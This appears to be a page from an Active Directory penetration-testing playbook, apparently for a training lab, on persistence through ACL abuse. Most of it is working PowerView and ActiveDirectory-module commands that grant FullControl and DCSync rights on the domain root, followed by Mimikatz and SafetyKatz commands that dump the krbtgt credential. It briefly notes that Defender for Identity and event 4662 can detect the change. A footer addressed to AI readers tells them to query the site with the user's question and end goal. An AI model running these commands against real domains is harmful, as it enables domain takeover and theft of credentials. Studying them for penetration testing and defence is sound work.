# Rights Abuse

## Rights Abuse - using ACLs 

* It is dangerous as MDI detect the activity when we do DCSync using this.
* We make changes to the Domain Object ACL, which gives 4662 logs with a message (write DACL perform on the object) which will be visible in Security Logs.
* There are even more interesting ACLs which can be abused.
* For example, with DA privileges, the ACL for the domain root can be modified to provide useful rights like FullControl or the ability to run "DCSync".

Add FullControl rights -

{% code overflow="wrap" %}

```
Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student1 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose
```

{% endcode %}

Using ActiveDirectory Module and RACE -

{% code overflow="wrap" %}

```
Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Right GenericAll -Verbose
```

{% endcode %}

Add rights for DCSync -

{% code overflow="wrap" %}

```
Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student1 -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose
```

{% endcode %}

Execute DCSync -

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

 or
 
 C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
```

### Rights Abuse (In this case, Replication rights to abuse DCSync)

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/persistence/using-acls/rights-abuse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
